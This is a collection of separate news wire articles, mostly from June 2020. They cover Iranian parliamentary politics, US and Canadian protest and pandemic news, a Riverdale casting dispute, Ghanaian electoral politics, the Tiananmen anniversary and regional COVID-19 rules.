Distributed by Tribune Content Agency, LLC.
Why IRGC's Increasing Influence In Iran's Parliament Is Significant?

Morad Vaisibiame June 04, 2020

The commanders of the Islamic Revolution Guards Corps (IRGC) have always been present in the Iranian Parliament (Majles) over the years,holding various positions. The IRGC presence in the Majles has been more eye-catching after the 1980s war with Iraq and from mid-1990s.

Over the years, some well-known IRGC commanders including division commanders, provincial commanders, Basij militia commanders and members of the IRGC's intelligence service have served as members of the parliament.

Most recently, during the 8th, 9th and 10th parliaments, most recent ending in May, Ali Larijani was the Speaker of the parliament. His previous positions included deputy IRGC commander for parliamentary affairs and the acting chief of staff of the IRGC. On his final day at the Majles, many IRGC commanders went to see him and thank him for supporting the IRGC and other armed forces during his 12 years in the Majles.

With this background, there are a few points that make the IRGC's influence in the current 11th Majles even more significant:

First, increased IRGC influence at the Majles can increase its lobbying power to allocate more money for the Corps. This advantage will put the IRGC in a better position in comparison with the conventional army, other organizations and ministries in terms of budget, particularly that the army does not have a noticeable present in parliament.

Second, the presence of a network of IRGC and Basij officers at the Majles facilitates enacting more laws in the interest of IRGC and other outfits operating under its aegis. This makes it more difficult for the Majles to supervise the IRGC and conduct investigations about it.

Third, for the first time a top commander, the former chief of its air force, is now the speaker of the Majles. He is the highest IRGC commander serving as an MP at the Majles. This also marks the rise in the significance of IRGC's influence at the Majles.

Speaker Mohammad Baqer Qalibaf is still part of a network of senior IRGC commanders who meet each other regularly and align their political positions. This IRGC network now has one of its members on top of the Majles as well as having other IRGC and Basij commanders as members of the parliament.

Fourth, one of the members of the network of IRGC commanders is the head of one of the three branches of the government. Such a high-level position has a symbolic significance for the IRGC and the network of its commanders. But that is not its only significance. In recent years, meetings by the heads of the three branches of the state have occasionally replaced the Majles and the presidential administration as far as decision-making in key matters is concerned. Now, the IRGC has one of its commanders at such a high level of decision-making.

The fifth point is Qalibaf's experience in suppressing protests in Iran. The Islamic Republic had to face popular protests in various parts of the country where the government had to suppress the disgruntled protesters in order to ensure its survival. Survival is the most important thing on many senior officials' minds.

Qalibaf has always had a part in suppressing dissent and protests. He has played key parts in suppressions at least in three cases in 1999, 2003 and 2009. That no official evidence has been made public about his role in suppressing the November 2019 protests does not necessarily mean he was not involved in crackdowns.

He was one of the commanders of the violent crackdown on the students protests in 1999. He has said that he and former IRGC Qods Force Commander Qassem Soleimani suppressed the students using clubs while riding motorcycles.Qalibaf and some other IRGC commanders said in 1999 that commanders were prepared to kill hundreds of demonstrators if they got close to Khamenei's office.

He was also one of the signatories of a letter by 24 senior IRGC officers that threatened then President Mohammad Khatami with military intervention to suppress the students.

Evidence including an audio recording of Qalibaf indicate that he has once again threatened to shoot the students in 2003 when he was the police chief. Meanwhile in the post-election unrests in 2009, Qalibaf who was then the Mayor of Tehran, put the municipality's equipment and capabilities at the disposal of his colleagues in the IRGC who were attacking the protesters.

One IRGC commander at the time, Hossein Hamadani, said later that he had hired "thugs" released from prisons to beat the protesters and retained them for attack in cinemas and theaters in Tehran.

With such a background, Qalibaf contributes to the empowering of the IRGC as part of the Islamic Republic's suppression apparatus.

Sixth, and most important of all, is Qalibaf's views about foreign policy and particularly about challenging the United States in the Middle East. Qalibaf was a close friend of Qassem Soleimani who handled Iran's IRGC-centered foreign policy regarding the United States, Israel and Saudi Arabia. In his first speech as Majles Speaker Qalibaf vowed to follow the path of Soleimani and take revenge for his killing.

Unlike his predecessor who supported Rouhani's foreign policy, Qalibaf is a hardliner and a staunch critic of Rouhani's foreign policy. However, the Majles is not a key player in this field, which is controlled by Khamenei and the IRGC's Qods Force commanders, superseding the Foreign Ministry.

Overall, an IRGC brigadier general is leading the Majles who is obedient to Khamenei (like everyone else in the corps), is a member of the network of IRGC commanders, an advocate of enmity with America and a close friend of Qods Force Commander Esmail Qaani who comes from the same village as Qalibaf.

During the war with Iraq, Qaani was Qalibaf's deputy. No Iranian official and IRGC commander has ever been closer to the former and current commanders of the Qods Force.

Source: https://en.radiofarda.com/a/why-irgc-s- increasing-influence-in-iran-s-parliament -is-significant-/30652936.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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A Nashville chancellor ruled Thursday that Tennessee election officials must allow all voters in the state to cast absentee ballots in light of the coronavirus pandemic.

Chancellor Ellen Hobbs Lyle said state limits on absentee voting constitute an unreasonable burden on the fundamental right to vote guaranteed by the Tennessee Constitution.

She said the state must prominently post on their websites and disseminate to County Election Officials that voters who do not wish to vote in-person due to the COVID-19 virus situation are eligible to request an absentee ballot by mail or that such voters still have the option to vote in-person during Early voting or on Election Day.

Chancellor Lyle said 11 other states have taken a can-do approach by cutting restrictions on absentee voting. Tennessee officials have expanded absentee voting, but maintain that fear of catching the virus is not a reason to get an absentee ballot. They also cite the high cost of mail voting and potential fraud problems.

The decision is expected to be appealed.

State Attorney General Herbert Slattery said, "This evening Davidson County Chancellor Ellen Hobbs Lyle ordered state government to abandon long standing requirements for in person voting.

"Tennessee, like all states, must engage in a delicate balancing act: it must safeguard voters from COVID-19 exposure while ensuring that voters are not disenfranchised.

"Tennessees election officials consulted with experts from the Tennessee Department of Health and county health departments to create a comprehensive COVID-19 election plan that conforms to the CDCs guidance and makes Tennessees polling places safer than the general community.

"The Courts ruling, while rightly taking into account the safety of Tennessees voters and poll workers, failed to appropriately consider the extensive safety measures of the COVID-19 election plan, and, more importantly, gave little weight to the unanimous expertise of state and county election officials that hastily expanding absentee voting is impracticable and risks disenfranchising Tennessee voters.

"The Courts order has taken this important decision away from Tennessees state and county election experts and unnecessarily risks voter confusion, potential voter fraud, and election disruption.

It is yet another court decision replacing legislation passed by the peoples elected officials with its own judgment, largely ignoring the practicalities of implementing such a decision, and doing so in the midst of a pandemic and budget crisis.


SEATTLE (dpa-AFX) - Tesla Chief Executive Officer Elon Musk has called for a breakup of Amazon after the online retail giant refused to publish an upcoming book about COVID-19.



Writer Alex Berenson said on Twitter that Amazon refused to publish his booklet about the coronavirus as it did not comply with the company's guidelines.



According to the writer, Kindle Direct Publishing, Amazon's e-book publishing unit, rejected his submission for the book titled, 'Unreported Truths about Covid-19 and Lockdowns: Part 1.'



'This is outrageous censorship from a company that has gained hugely from lockdowns and dominates the U.S. book market, especially with stores closed!,' Berenson tweeted, along with a screenshot of his upcoming book.



Berenson, a former New York Times reporter, has been a vocal critic of the coronavirus lockdown. He has argued that the media and people were overestimating the risk of the coronavirus and that it posed little risk to young Americans.



In response to Berenson's tweet, Elon Musk tweeted, 'This is insane @JeffBezos. Time to break up Amazon. Monopolies are wrong!'



However, Kindle Direct Publishing or KDP said that the book was removed in error and was being reinstated.



Berenson later shared a message he received from KDP that said the company has published the book and it would be available on the website in the next few hours.



Musk too has been a critic of the coronavirus-induced lockdowns.



In March, Tesla initially refused to shut down its Fremont plant in California despite receiving an explicit order from local authorities to do so. The luxury electric carmaker decided to temporarily suspend operations only after several days of stand-off with the authorities.



Musk has a history of making controversial comments on Twitter.



In early May, Musk tweeted that Tesla's share price was too high, in possible violation of an agreement he had reached with the U.S. Securities and Exchange Commission or SEC last year.



In 2018, the SEC had sued Musk for allegedly making false or misleading statements, including tweeting about his plans to take Tesla private at $420 per share.



Copyright RTT News/dpa-AFX

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Source: Xinhua| 2020-06-05 04:52:07|Editor: huaxia

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LOS ANGELES, June 4 (Xinhua) -- A countywide curfew will not be enforced Thursday night in Los Angeles County of the United States, as largely peaceful protests over the death of George Floyd, an African American man, in police custody continue across the area.

"Based upon current situational awareness and the recent pattern of peaceful actions by protesters, the Los Angeles County Sheriff's Department will no longer enforce a curfew," tweeted Los Angeles County Sheriff Alex Villanueva Thursday morning, adding that other jurisdictions are free to make their own decisions.

A countywide curfew has been in effect for four nights in a row in the most populous U.S. county, with a population of over 10 million, since Sunday after days of protests which sometimes descended into chaos.

"I agree with this decision -- it gives the peaceful protesters more time to speak out on our streets without fear of arrest," tweeted Los Angeles County Supervisor Janice Hahn.

Hahn reminded local residents that cities may impose their own curfews.

Los Angeles Mayor Eric Garcetti announced that he will not impose a citywide curfew in the City of Los Angeles.

Thousands of peaceful protesters packed streets in downtown Los Angeles Wednesday as smaller demonstrations spread across the area. Multiple protests over the death of Floyd are taking place or expected to be held in cities across Southern California on Thursday, including one in Diamond Bar, a city with a huge Chinese American community. Enditem
Brianna Noble knew the impact her image could have.

When the 25-year-old equestrian and business owner parked her car and horse trailer at Lake Merritt, then made her way in downtown Oakland on May 29 to protest the killing of George Floyd, she had a plan.

Its not too often you see a black woman on a horse in Oakland, said Noble, who lives in Pinole and is Bri to her friends. Im huge on a horse. I decided Im going to give them something to look at.

Noble was frustrated with how she felt the protests were being covered. Too often she thought that reporting on property destruction pulled attention away from the reason for the protests, the killings of people of color by police. If they turn their cameras toward her, she thought, maybe she could create a different narrative.

Id thought maybe in my community Id inspire some change, said Noble. I didnt realize it would get this big a reaction, that people from Kenya, Australia and Ireland would be reaching out.

The images and videos attracted wide attention in what they presented: A woman of color riding a horse, her fist raised in the air and a cardboard Black Lives Matter sign attached to the saddle bag. She sits tall on Dapper Dan, her large Appaloosa gelding. She even wears a Western style bandanna as a face mask, conjuring images of Lone Ranger-type characters.

From 6 to 8 p.m., Noble rode with her sign, including a moment when she says protesters naturally gathered behind her as though she was leading the crowd, creating an image that evoked classical scenes and historic figures.

Who is this iconic queen? user @canteven asked on Twitter.

What makes the image of Noble so powerful is not just the heroic archetypes it references, said Kwadwo Duane Deterville, a black visual culture scholar and faculty member at San Francisco State University, its who is now occupying the trope.

To see a black woman on horseback like that is the opposite end of the spectrum of the codified white man on horseback, the John Wayne image we see in Westerns, said Deterville. Thats one of the things that makes it significant, to see a black woman sitting in a seat of power is an image reserved for white men. With one of the goals of the protests being a reframing of how America sees black people, its a visage that is a deeply effective symbol.

Its not just that images on horseback are traditionally associated in Western culture with white men, the world of horses and equestrian sport are also heavily white, affluent spaces that frequently feel off- limits to people of color, said Deterville, even though he says organizations like the Oakland Black Cowboy Association have existed for decades.

Noble is still processing how the pictures of her break the white conqueror image she saw depicted in her history textbooks growing up. In addition to her race and gender changing the iconography, those white men on horseback were leading armies in their pictures, said Noble, not riding at the head of a social justice protest. The community has already embraced this image: A new mural outside of Lukas Taproom in Uptown Oakland features Noble and Dapper Dan prominently.

Noble doesnt remember a time in her life without horses. Her older sister was already involved with the horse world when Noble was born and both girls grew up training at Skyline Barns in Oakland, says Nobles mother, Michelle. At first Brianna resisted following her sister into riding, but her love of animals eventually extended to horses and she was hooked. Michelle and Gary Noble moved their family to San Leandro when Brianna was born. Michelle Noble describes the family as blue-collar during their girls childhood, not like the doctors and lawyers who were the parents of other girls at Skyline Barns.

I always told my girls, our name is Noble but were not royalty, said Michelle Noble. We dont have a royal budget for horses.

Both Brianna and her sister worked at the barn to help pay for lessons.

Michelle Noble said that even with their accomplishments in horsemanship and jumping, there were times when her children felt excluded or like they stood out in the horse world growing up.

Even recently, someone said to Brianna, I didnt know black people rode horses,  said Michelle Noble. I could tell you stories, that stuff is deep and real, both my kids have had to deal with it. In the horse world that theyve been exposed to, its just a microcosm of larger societal challenges.

Its a very white world, said Brianna Noble. It can be a hostile, racist place to be.

Yalonda M. James / The Chronicle

When Brianna Noble was 16, she left the Oakland School for the Arts to start junior college courses in veterinary technology. At 16, she also raised the funds to acquire and house her first horse, Starlight, whom she still has today.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

In 2018, Brianna Noble started Mulatto Meadows, her business that trains and sells horses as well as offering riding lessons. She said that making the benefits of riding available to low-income students and people of color is part of her longtime plan and shes working toward establishing an equine education nonprofit, Humble.

I want to see more people of color in a white world, said Brianna, who also wants to be the first black woman to jump horses at the Olympics. Its so expensive to keep and ride a horse; this image (from the protest) shows how life-changing a horse can be.

Brianna Noble, the mother of a 3-year-old with her husband, Adolfo, has launched a Go Fund Me campaign for Humble, which she hopes will be aided by the popularity of the protest images. Part of Humbles model will be doing events where horses are brought into communities of color. Last year, she and her sister brought Dapper Dan to the Sunnydale neighborhood in San Francisco to meet local children. Her sister, an officer with the San Francisco Police Department, asked not to be named in this story, but said she reacted positively to the photos of her sister. Brianna Noble doesnt believe that she and her sister are on the opposite sides of the protests.

To me its furthering the movement to have a black woman who wants to see change happen and things done correctly in the system, she said. I think that might be a big reason shes a police officer.

Michelle Noble said that as black women especially, careers in the police force and in the horse world seemed not only difficult to attain, but possibly dangerous for her children.

Im over the moon proud of both my daughters because they followed their dreams despite it not being practical, she said. I have strong emotions because on one hand you have a systemically racist organization like the police with gender bias that my daughter wants to work for. Then you have Brianna, who has always been a social activist  since she was a little girl, she stood up for the underdog and marginalized.

While the two sides might seem to conflict, Michelle Noble sees evidence that they can work together, as the impression Brianna made at the protest shows. She said if anyone can ride the popularity of the image to lasting visibility, its Brianna.

Whether the image of Noble on horseback becomes one that defines Oakland during the time of the George Floyd protests remains to be seen, said Deterville. For Michelle Noble, the impact of the photo is more immediate.

It often goes back to feeling like were not allowed, like its not practical for black and brown youth to dream, she said. They cant dream, theyre just trying to survive. It really gives me hope that there is some little girl thats going to see that picture and say, Im going to do it, I see Brianna, an image like me, maybe I can do this too.

Tony Bravo is a San Francisco Chronicle staff writer. Email: tbravo@sfchronicle.com Twitter: @TonyBravoSF
Black people across the globe are speaking out against the injustices that they face in the streets and in the workplace amid the current Black Lives Matter protests. Amid companies calling for anti-racism, Riverdale actress Vanessa Morgan has spoken out about the injustices that she faced as the sole Black regular character on the beloved CW show.

Morgan immediately garnered support from fans following her statement as well as her castmates including Lili Reinhart and Asha Bromfield, who played Josie and the Pussycats bandmember Melody Valentine. However, The CW and executives on the series have remained silent until now.

Now, Riverdales creator, writer, and showrunner Roberto Aguirre-Sacasa has come forward to acknowledge the pain Morgan has endured and to apologize to her, vowing to do better.

RELATED: Riverdale: Vanessa Morgan Spells Out the Problem With the Shows Treatment of Black Characters

Vanessa Morgan called Riverdale out for making her the token Black character

On May 31, following in the footsteps of actresses like Gabrielle Union and Samantha Ware who have spoken out against racism and inequality, Morgan discussed her own experience. Tired of how black people are portrayed in media, tired of us being portrayed as thugs, dangerous, or angry scary people, she wrote on Twitter. Tired of us also being used as sidekick non-dimensional characters to our white leads. Or only used in the ads for diversity but not actually in the show.

Later, Morgan who plays Toni Topaz on Riverdale called out The CW and the series specifically. Another thing i hate BLACK women being called DIVAS for sticking up for themselves, she said. Maybe the show should write for her like the white characters. Im the only black series regular but also paid the least.

We love you, V. And support you 10000%.  Lili Reinhart (@lilireinhart) June 2, 2020

RELATED: Vanessa Morgan: What Is the Riverdale Stars Net Worth and How Much Does She Get Paid For the Show?

Vanessa Morgans Riverdale castmates support her

Though many people were initially horrified when they thought Morgan was having issues with the Riverdale cast, that was squashed immediately. Reinhart tweeted, We love you, V. And support you 10000%.

The 28-year-old also clarified that her beef was with the writers and creators. My role on Riverdale has nothing to do with my fellow castmates/friends. They dont write the show, Morgan said. So no need to attack them, they dont call the shots & I know they have my back.

The Canadian actress former co-star Hayley Law also chimed in on Morgans tweet. Ive felt this from the beginning. We are so much more, she wrote.

RELATED: This Riverdale Star Just Got Married and Two of Her Castmates Were in the Wedding Party

Riverdales creator just apologized to Vanessa Morgan

Morgan has since vowed to stop taking roles that dont fully represent Black people. Now, creator and showrunner Roberto Aguirre-Sacasa has come forward to apologize to Morgan, vowing to do better.

We hear Vanessa, Aguirre-Sacasa said in a post on Instagram. We love Vanessa. Shes right. Were sorry and we make the same promise to you that we did to her. We will do better to honor her and the character she plays. As well as all of our actors and characters of color. Change is happening and will continue to happen. Riverdale will get bigger, not smaller. Riverdale will be part of the movement, not outside it. We know where the work must happen for us. In the writers room.
Source: Xinhua| 2020-06-05 05:24:29|Editor: huaxia

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STOCKHOLM, June 4 (Xinhua) -- From June 13 on, symptom-free people are expected to be able to travel within Sweden, as long as they observe the social-distancing rules, the government said Thursday.

The government made the decision as the number of COVID-19 patients in hospitals has decreased while the regions have scaled up testing, reported Swedish Television.

The government emphasized that people must take responsibility for maintaining social distance: crowding is not acceptable, the journey should not be carried out in case of illness, and anyone who exhibits symptoms and plans to travel should get tested for COVID-19 if there are grounds for medical assessment.

"This is not unconditional. Traveling must not mean that physical distance is impaired, said Johan Carlson, Director General of the Swedish Public Health Agency, during a press conference.

Deputy Prime Minister Isabella Lovin pointed out that lifting of restrictions did not mean that the danger was over and that life could return to normal. She stressed that all other restrictions still remain, for example, prohibition of public gatherings over 50 people and all recommendations that apply to people over 70 years of age.

"It is not travel per se that constitutes a risk, but how well the social distance is maintained. The travel restrictions can start to apply again at any time if the development goes in the wrong direction," Minister for Health and Social Affairs Lena Hallengren said at the press conference.

"The government and the authorities will monitor the effects of increased travel," she added.

To date, Sweden has a total of 41,883 confirmed cases and 4,562 deaths, according to the Public Health Agency. Enditem
ABC News

Four people, including two adults, a teen and an infant, have been found frozen to death about 40 feet from the U.S.-Canada border while being smuggled into North Dakota, according to U.S. and Canadian authorities. U.S. Customs and Border Protection officers and law enforcement officers with the Department of Homeland Security performed a traffic stop Jan. 19 on a 15-passenger van about 1 mile from the border when they found two undocumented Indian nationals from Canada inside, according to the Manitoba Royal Canadian Mounted Police. Less than a quarter mile away from the border, law enforcement encountered and apprehended five additional undocumented Indian nationals that walked across the U.S. border from Manitoba, Canada, according to the RCMP.
Jean Mensa

05.06.2020 LISTEN

Some aggrieved Ghanaian citizens who have remained anonymous have through lawyer Chris Arcmann-Ackummey, started processes for the removal of Electoral Commission Chair Jean Mensa.

In a letter to Mrs Mensa to demand her response to some eleven allegations made against her by the aggrieved citizens, their lawyer said her failure to accede to their request would compel them to proceed with a petition for her impeachment.

The letter, dated 4 June 2020, was copied to the Speaker of Parliament, the Chief Justice, Chairman of the Council of State, President of the National House of Chiefs, Secretary to the President and the Chairman of the Eminent Advisory Committee of the EC.

The allegations for which responses are sought, all of which, if proven, will make you unfit to hold the office you currently occupy, are hereby stated below, the letter said.

They include gross incompetence, procurement breaches, conflict of interest, collusion, organising illegal IPAC meetings, disregarding court directives on ROPAL, refusing to accept birth certificates and voter ID cards for registration, displaying falsehood and insincerity, endangering millions of Ghanaian lives through a registration exercise scheduled to take place at the height of the coronavirus pandemic, committing perjury before the Parliamentary Special Budget Committee and defying COVID-19 restrictions.

Mr Arcmann-Ackummey said: My clients are Ghanaian citizens drawn from some of the regions of Ghana whose identity, presently, cannot be disclosed for security reasons, adding: The disclosure of their identities will be made upon the presentation of the petition itself, if that happens.

I have their instructions to request official written responses to some allegations publicly made against you as the Chairperson of the Electoral Commission.

This request is in accordance with the Audi Alteram Partem rule and most especially, in consonance with the passage of the Right to Information Bill, failing which I will give effect to their instructions to proceed with a petition for your removal from office as the Chairperson of the Electoral Commission, which petition shall be submitted without delay through the constitutionally-established procedure to the President of the Republic of Ghana, His Excellency Nana Addo Dankwa Akufo-Addo, the letter threatened.

He added: My clients intimated that they voted in previous elections conducted by the Electoral Commission and now fear being disenfranchised if you are allowed to continue with the current plan to compile a new voter register  a plan which the National House of Chiefs, clergy, clerics, civil society organisations, Federation of Labour, political parties and well-meaning Ghanaians have cautioned you against.

Source: Classsfmonline.com
The White House has called on China to provide a full accounting of those who were killed, detained or remain missing in connection with events surrounding the 1989 Tiananmen Square massacre. "The Chinese Communist Party's (CCP) slaughter of unarmed Chinese civilians was a tragedy that will not be forgotten," White House Press Secretary Kayleigh McEnany said in a statement on Thursday, joining the global condemnation of the massacre.

The American people reflect on the courage and optimism of the hundreds of thousands of Chinese citizens who gathered peacefully 31 years ago in Beijing and throughout China to protest widespread official corruption and demand a greater say in the governance of their country, she said.

"The United States calls on China to honour the memory of those who lost their lives and to provide a full accounting of those who were killed, detained, or remain missing in connection with the events surrounding the Tiananmen Square massacre on June 4, 1989," McEnany said on the 31st anniversary of the incident.

On this day of remembrance, the people of the US call upon the Chinese government to fulfil its commitments under the Universal Declaration of Human Rights and the Sino-British Joint Declaration, to uphold the rights and freedoms guaranteed to all Chinese citizens under China's constitution, and to end the systematic persecution of millions of ethnic and religious minorities, she said. The American people stand together with all Chinese citizens in their pursuit of fundamental rights, including the right to accountable and representative governance and freedom of speech, assembly, and religious belief, the press secretary said. A day earlier, Secretary of State Mike Pompeo met with Tiananmen Square survivors at the Department of State.

"We mourn the victims of June 4, 1989, and we stand with the people of China who continue to aspire to a government that protects human rights, fundamental, freedoms, and basic human dignity," said State Department Spokesperson Morgan Ortagus.

In a joint statement, a bipartisan group of more than a dozen influential senators from the Senate Foreign Relations Committee, said the 31st anniversary is not just a time for mourning, but a call to action. Let us ensure that the United States remains a champion for freedom, and a defender of those who stand for democracy, freedom and equality for all," they said in the statement.

In the years since the Tiananmen massacre, the CCP has continued down a path of repression, the senator alleged. "Under Chairman Xi, we have seen further deterioration of freedom of speech, freedom of religion, and the rule of law in China", they said. Daily freedoms have also been lost to the CCP's widespread and intrusive mass surveillance system. Even more concerning is that this model of authoritarianism is becoming more influential to regimes around the world as the CCP seeks to reshape international rules and norms to accommodate its interests, according to the statement.

The massacre was no accident said House Republican Leader Kevin McCarthy. It was caused by China's fear of freedom and democracy. Today, as China has risen on the world stage, that fear has gone global. The crackdown in Hong Kong, the concentration camps in Western China, and the unwarranted aggression towards democratic India and Taiwan are just the latest signs, he said.

For more than three decades, protesters around the world, including in the US, have been inspired by the bravery shown by the protesters of Tiananmen, many risking their lives to fight for their rights, said Senator Ed Markey. They must not have died in vain. We must continue to hold up these values as the focal point of American foreign policy, but we have to recognize our own failings, and work to fully achieve the same freedoms here at home, he said. Congressman Eliot Engel, Chairman of the House Committee on Foreign Affairs, said that in the decades since the Tiananmen massacre, the Chinese government has hidden the truth about that tragedy and become increasingly authoritarian, brutally repressing human rights, ethnic and religious minorities, and civil society leaders.

Chinese authorities have exported their authoritarian system internationally, stepped up aggression in disputed territories, including the South China Sea, East China Sea, and along its border with India, and violated Hong Kong's autonomy," he said. Engel said he condemns the Chinese government's assault on the rule of law, trampling of international norms, and its abysmal record on human rights
BAKU, Azerbaijan, June 5

Trend:

Azerbaijan's official structure - the Management Union of Medical Territorial Units (TABIB) has released certain rules for consumers in the country, related to shopping before the upcoming weekends, as strict COVID-19 quarantine measures are to kick in on June 6, Trend reports.

The announced rules are:

- Prioritize online shopping over going out

- One person per family allowed to go shopping

- Avoid going to malls during peak hours, try to go to nearest possible mall

- Sick people aren't advised to go shopping

- Wear a mask inside stores at all times, try not to touch face with hands

- Observe social distancing (at least 2 meters from person)

- Make sure to clean used payment card with disinfectant, as well as hands

In accordance with the decision of the Operational Headquarters under the Cabinet of Ministers of the Republic of Azerbaijan, all spheres of business, services and alike in Baku, Sumgayit, Ganja and Lankaran cities, as well as Absheron, from (00:00 - GMT+4) on June 6, 2020 to 06:00 on June 8, 2020
Source: Xinhua| 2020-06-05 15:54:44|Editor: huaxia

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LANZHOU, June 5 (Xinhua) -- As a pear planter, Cao Hui has not ventured far from his hometown in his 52 years of life, but his pears have been sold across China.

Cao lives in Hezheng County of Linxia Hui Autonomous Prefecture, northwest China's Gansu Province, and has been planting pears for over three decades.

The pear he grows is a specialty in the county, known as "Pitai pear," or Pyrus ussuriensis Maxim. It features black peel and sweet pulp, and has been grown by the local people for over a century.

Despite its unattractive appearance, the pear tastes delicious and is a hit with consumers.

For Cao, the black pear has changed his life.

When he was a child, Cao's father planted a few pear trees in their yard. Every year during harvest season, his father would peddle the pears on the street.

In 1995, when Cao was 27, he planted many pear trees around his house just like his father, hoping the pears could help him shake off poverty.

However, it was not easy. The pear can only be stored for three months at most before it rots.

To solve the storage problem, Cao tried underground caves and sandpiles, yet they were only able to extend the pear's storage life to four months.

In 2000, he spent 1,000 yuan (about 140 U.S. dollars) -- almost his entire income for that year -- to buy a freezer big enough to hold 150 kg of pears.

Over the following two years, Cao expanded his orchard to one hectare and scraped together 70,000 yuan to build a refrigeration house.

Apart from storing his own pears, he also purchased pears from local growers to expand storage, avoiding the peak season when the price was the lowest. In 2003, he earned more than 20,000 yuan in the extended selling season.

"The high profit was a big surprise to my fellow villagers," Cao said. Many villagers decided to plant pears under his guidance.

Supported by the local government, Cao set up a cooperative and eight refrigeration houses in 2011, encouraging 360 households to grow pears.

But new problems emerged. "Without adequate planting and management knowledge, our orchard was troubled by plant diseases and pests, which inevitably led to low yields," he said.

His troubles drew the attention of the local agricultural science institution. Agricultural experts were sent to his orchard, offering him free technological support and helping him build a demonstration orchard.

With the help of experts, the yield of the orchard was doubled to 1,000 kg per mu (one hectare equals to 15 mu) in 2014. The price also doubled to 20 yuan per kg.

Cao Quanbin, 29, joined in his father Cao Hui's business after graduation, opening an online sales channel. Last year, he sold more than 1,000 kg of pears on e-commerce platforms.

To make a stable profit, Cao and his son have tried various ways to enhance the added value of the pear. Making dried pears was their first attempt to expand the value chain.

Researchers from the southern Chinese city of Xiamen have been helping Cao to extract the nutrients from the pear. They hope to develop a nutritious pear-flavored beverage, according to Guo Qingfan, deputy director with the Academy of Agricultural Sciences in Linxia prefecture.

"With experts providing professional support to us, we are more confident that we will extract more fortune from the pears," said Cao. Enditem
The Covid-19 pandemic may have an explosive rebound in Canada if safety precautions and public restrictions are lifted too early, the countrys seniormost medical officer has warned, even as concerns rise that recent protests could complicate the process of recovery from the virus.

The alarm was sounded by Canadas chief public health officer Dr Theresa Tam even as fresh data points towards the coronavirus crisis waning in the country. During a regular media briefing, Tam said, If we relax too much or too soon, the epidemic will most likely rebound with explosive growth as a distinct possibility. She also released the latest modelling for the spread of the disease in Canada, projecting that the number of deaths could range between 7,700 to 9,400 by June 15, while total cases may be between 97,990 and 107,454. As of Thursday night, the country recorded 7637 fatalities and 93711 infections.

That relatively positive projection was welcomed by Canadian Prime Minister Justin Trudeau during his daily briefing, as he said, Thats an encouraging sign that the virus is slowing and, in some places, even stopping. However, he was quick to echo Tams concerns, as he added, But I want to be very clear. Were not out of the woods. The pandemic is still threatening the health and safety of Canadians.

Clearly, Canadian Government officials are worried that ongoing protests over the police killing of African-American George Floyd in Minneapolis could have an adverse impact of controlling the spread of Covid-19. Canada has also witnessed similar protests in the cities of Toronto and Montreal, which account for the majority of cases in the nation.

Among those who have voiced their concern is Canadas Deputy Prime Minister Chrystia Freeland. The coronavirus issue is a really serious one to think about in that context, she said, according to the outlet Global News.

Dr Tam had earlier also tweeted her concerns over the protests. When it comes to peaceful protest during #COVID19, virtual protest is the safest bet. First consider the risks to yourself, your family & community, she posted. In a follow-up, she noted that if protestors did gather, it was necessary they follow social distancing norms and wear masks. Finally, she asked them to use signs at the protests, if people had to collect physically, instead of yelling slogans. She tweeted, Even with layers of protection, speaking loudly, shouting & singing can increase projection of infectious droplets. To safe protest during #COVID19, let your sign do the talking, your phone do the singing & wear a mask.

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Activists are organizing a protest for Breonna Taylor, a Louisville EMT shot by police in her home while executing a botched no-knock search warrant in March.

The protest will take place today, June 5 at 3 p.m. at Discovery Green near the intersection of Lamar and Avenida de las Americas.
With daily spike in coronavirus cases in India and less availability of beds in hospitals, the Centre on June 4 told the Supreme court that a large number of temporary make-shift hospitals will be needed in the near future.

The Centre also contended that though hospitals are responsible for implementing the Infection Prevention and Control (IPC) activities, the final responsibility lies with the health care workers to protect themselves from COVID-19. It further said mandatory quarantine for 14 days after rostering duty of health care workers of 7/14 days is not justified and warranted.

It is most respectfully submitted that number of cases of COVID-19 are constantly increasing and at some point of time in near future, apart from existing hospitals, large number of temporary make-shift hospitals will have to be created in order to accommodate COVID-19 patients requiring admission, medical care and treatment, the Ministry of Health and Family Welfare said in a written affidavit.

The affidavit was filed before a bench of Justices Ashok Bhushan, Sanjay Kishan Kaul and M R Shah on a plea that questioned the Centre's new Standard Operating Procedure(SOP) of May 15 for frontline COVID-19 health care workers by which it ended the 14-day mandatory quarantine for them.

Coronavirus India News LIVE Updates

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The court allowed petitioner and private doctor Dr. Arushi Jain's counsels advocate Mithu Jain and Arjun Syal to file the rejoinder affidavit to the Centre's reply within a week and posted the matter for June 12.

The country registered a record single-day jump of 9,304 coronavirus cases on Thursday pushing the total tally to 216,919, while the death toll climbed to 6,075 with 260 new fatalities, according to the Union Health ministry. The number of active COVID-19 cases stood at 106,737, it said.

The ministry in its reply affidavit said health care workers (HCW) are properly protected by Personal Protective Equipments(PPE) in workplace settings and carry no additional risk to their families or children.

It said grievances raised by the petitioner alleging infirmities in the May 15 guidelines of the health ministry are completely presumptuous, vacuous, ill-founded and sans any empirical or medical evidence.

Justifying its advisory and SOPs, the health ministry said it is a step in the right direction and that the guidelines emphasise the role of taking adequate preventive measures by all health care workers in the hospital setting against the likelihood of contracting infection at their work place.

